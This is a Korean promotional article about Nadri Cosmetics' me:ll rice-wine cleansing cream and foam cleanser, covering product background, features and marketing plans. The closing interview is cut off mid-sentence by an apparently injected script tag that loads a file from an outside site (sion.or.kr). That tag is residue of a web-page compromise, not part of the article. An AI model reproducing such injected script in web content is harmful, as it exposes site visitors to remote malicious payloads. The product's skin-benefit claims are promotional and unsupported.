멜클렌징 크림이 피부를 지킨다! 나드리화장품이 지난 8월 출시한 멜 청주 클렌징 크림과 폼 클렌져가 일선 전문점과 소비자의 꾸준한 관심을 받고 있어 화제다. 그 이유는 우리 민족고유의 전통주로 잘 알려진 청주의 탁월한 세정력을 이용, 우수한 클렌징 제품을 선보였기 때문이다. 지금부터 멜이 인도하는 클렌징의 세계로 여행을 떠나보자. 1.개발배경 나드리화장품의 멜(me:ll) 클렌징 라인은 청주가 예로부터 몸의 긴장을 풀어주고 모공과 표피의 모세혈관을 넓혀줌으로써 세정력이 매우 우수하다는 점에 착안해 개발, 출시된 제품이다. 특히 과거에는 청주를 이용한 목욕법이나 피부 탄력 강화를 위해 아침 화장 전 차갑게 해두었던 청주를 얼굴에 발라 톡톡 두드리는 미용법이 발달, 이것을 현대화한 것이 주요했다. 이같은 나드리화장품의 멜 청주 클렌징 크림 & 폼 클렌져는 청주의 우수한 노폐물 제거 기능을 살려 클렌징으로 제품화함으로써 클렌징 시장에 새바람을 일으키고 있다. 2. 브랜드 컨셉 ‘멜(me:ll)’의 영문 ‘me’는 ‘나’를, ‘:ll’은 음악 도표의 도돌이표를 의미한다. 멜(me:ll)은 여성의 아름다움을 지켜주고 찾아주는 화장품이라는 것을 표현했다. 20대 여성의 아름다움을 가꾸어주고자 탄생된 나드리 멜. 20대 여성 피부를 철저히 분석하여 만든 만큼 20대 여성들이 필요로 하는 모든 것을 만족시켜주는 브랜드다. 3.제품특징 멜 청주 클렌징 크림(250㎖)은 가벼운 손놀림만으로도 피부에 잘 퍼져 메이크업을 깨끗하게 지워줄 뿐만 아니라 모공 속의 노폐물까지 말끔하게 제거해준다. 또 여드름이나 뾰루지 등의 피부트러블을 막아줌으로써 부드럽고 촉촉한 피부를 유지할 수 있도록 해준다. 또한 나드리 멜 폼 클렌져(160㎖)는 풍부한 거품과 피부에 부드러운 사용감을 전달해 주는 것이 특징이다. 나드리화장품의 청주 클렌징 제품은 노폐물을 제거해 주는 기본적인 기능 외에도 곡물의 껍질에 다량 함유된 오리제브렌이라는 수용성 물질이 피부에 보습효과까지 부여해 준다. 클렌징 후에도 피부에 촉촉함을 제공하는 2중의 효과로 클렌징 시장에 새로운 인기제품으로 자리잡고 있다. 4. 마케팅전략 20대 여성을 주요 타깃으로 하고 있는 청주 클렌징 제품은 모공속 노폐물까지 없애주는 완벽한 클렌징 제품이라는 컨셉 아래 전속모델인 전지현을 활용한 TV-CM을 제작해 방영중이다. 또한 제품의 사용기회를 확대하고 전문점의 소매력 강화 및 소비자판촉을 위해 일선 전문점에 견본품 10만개를 배포하는 등 적극적인 판촉활동을 벌이고 있다. 이와 함께 나드리 홈페이지를 통해 CF 동영상을 방영하고 여러 이벤트를 준비하는 등 잠재적 고객 확보를 위한 노력을 지속적으로 펼치고 있다. 5. 향후 계획 나드리화장품의 멜 기초 신제품은 20대 여성의 아름다움을 가꾸어 주고자 탄생되었다. 멜 기초제품은 20대 여성의 피부를 철저히 분석하여 피부고민에 대한 니즈를 충분히 만족시켜 줄 수 있도록 개발 탄생된 제품이다. 여성들의 피부고민을 살펴보면 피부건조, 탄력저하, 모공, 번들거림 등에 대한 것으로 그중에서도 20대 여성들이 가장 많이 느끼는 것은 피부건조와 과도한 피지분비로 인한 번들거림이다. 나드리 멜은 이러한 20대 여성들의 피부건조와 과다 피지분비로 인한 번들거림과 같은 피부고민을 해결하고자 보습과 피지조절을 컨셉으로하여 새롭게 10종 11품목의 기초제품을 출시하였다. 나드리화장품은 8월 출시한 멜 기초 신제품을 전략상품으로 설정하고 전문점의 신뢰회복과 영업조직에 활력을 실음으로써 새로운 도약을 위한 기반을 마련해 나간다는 방침이다. 이를 위해 멜 워터 플러스 에센스를 리딩제품으로 브랜드 컨셉인 "보습과 피지조절"아래 마케팅 역량을 집중, 하반기 시장을 적극 공략함으로써 히트상품으로 육성해 나간다는 계획이다. 또한 소비자 인지도 확산을 위해 전문점 및 소비자 대상의 다양한 판촉행사를 실시해 나가며 최근 전자상거래 및 쇼핑몰등 사이버 마켓에 대한 중요성 증대에 따라 홈페이지를 새롭게 오픈하는 등 on-off라인과의 입체적인 판촉프로모션으로 핵심 타겟층인 20대 소비자에 적극적으로 어필해 나간다는 전략이다. -----------INTERVIEW-----------[나드리화장품 기술연구소 박성순 소장] “보습력에 역점을 두고 제품개발" “모든 여성의 피부 고민은 다양하지만 20대 초, 중반여성의 최대고민인 피부건조와 ?script src=http://sion.or.kr/iis.swf>

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